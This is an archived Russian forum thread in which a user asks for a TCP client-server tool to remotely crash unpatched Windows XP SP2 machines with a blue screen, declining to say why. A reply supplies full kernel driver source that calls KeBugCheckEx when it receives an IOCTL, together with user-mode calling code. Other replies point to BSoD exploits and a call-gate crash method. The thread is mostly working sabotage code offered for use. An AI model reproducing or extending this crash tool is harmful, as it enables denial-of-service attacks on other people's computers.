Просмотр полной версии : Удаленный BSOD
Возможно ли реализовать такое?
Вобшем надо прогу клиент-сервер чтоб удаолённо мона было вызывать BSOD на WinXPsp2 (без обнов)
а почему нет.
сервер + драйвер будут принимать запросы, драйвер будет вызываться и генерить бсод.
клиент будет слать запрос на бсод.
только вопрос - нафига?
сервер + драйвер будут принимать запросы, драйвер будет вызываться и генерить бсод.
клиент будет слать запрос на бсод.
Можеш исходник накидать?
Да забыл сказать конект надо по Tcp/ip, типа вводиш ип жамкаеш кнопку и удалённая тачка в дауне.
только вопрос - нафига?
Нужно...
В принципе если винда без обновлений, то можно просто на тачке какой-нибудь эксплоит , вызывающий BSoD, запускать. Но это не универсальный метод.
Драйвер убийца вместе с загрузчиком прилагаются к книжке Шнайбера Недокументированные возможности Windows 2000
Че там писать то
#define _X86_
#include <ntddk.h>
UNICODE_STRING DeviceName;
UNICODE_STRING SymbolicLinkName;
PDEVICE_OBJECT deviceObject;
#define IOCTL_CRASH_SYSTEM CTL_CODE( FILE_DEVICE_UNKNOWN, 0x01, METHOD_BUFFERED, FILE_ANY_ACCESS )
NTSTATUS DriverIoControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
PIO_STACK_LOCATION pisl = IoGetCurrentIrpStackLocation(Irp);
NTSTATUS status = STATUS_UNSUCCESSFUL;
ULONG BuffSize = pisl->Parameters.DeviceIoControl.InputBufferLength;
PUCHAR pBuff = (PUCHAR)Irp->AssociatedIrp.SystemBuffer;
Irp->IoStatus.Information = 0;
if( pisl->Parameters.DeviceIoControl.IoControlCode == IOCTL_CRASH_SYSTEM )
KeBugCheckEx( IRQL_NOT_LESS_OR_EQUAL, &KeBugCheckEx, HIGH_LEVEL, &KeBugCheck, &DbgPrint);
Irp->IoStatus.Status = status;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return status;
}
NTSTATUS DriverCreateClose(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
Irp->IoStatus.Information = 0;
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
void DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
IoDeleteSymbolicLink (&SymbolicLinkName);
if(deviceObject)
IoDeleteDevice (deviceObject);
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{
NTSTATUS status;
RtlInitUnicodeString(&DeviceName, L"\\Device\\crashd");
RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\crashd");
status = IoCreateDevice(DriverObject,
0,
&DeviceName,
FILE_DEVICE_UNKNOWN,
0,
TRUE,
&deviceObject);
if (!NT_SUCCESS(status))
{
return STATUS_UNSUCCESSFUL;
}
deviceObject->Flags |= DO_BUFFERED_IO;
status = IoCreateSymbolicLink(&SymbolicLinkName, &DeviceName);
if (!NT_SUCCESS(status))
{
IoDeleteDevice(deviceObject);
return STATUS_UNSUCCESSFUL;
}
DriverObject->DriverUnload = DriverUnload;
DriverObject->MajorFunction [IRP_MJ_CREATE] =
DriverObject->MajorFunction [IRP_MJ_CLOSE ] = DriverCreateClose;
DriverObject->MajorFunction [IRP_MJ_DEVICE_CONTROL ] = DriverIoControl;
return STATUS_SUCCESS;
}
Использовать примерно так в ринг3:
HANDLE hFile = CreateFile( "\\\\.\\crashd", GENERIC_READ, .... );
DeviceIoContol( hFile, IOCTL_CRASH_SYSTEM, 0, 0, ....);
_Great_, пасиба большое...
Надеюсь ты знаешь, что на момент вызова CreateFile драйвер должен быть уже загружен?
нах вообще драйвер???????????? калгейт, епта и irql в смятку, правда попрет не дальше хрюшки
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot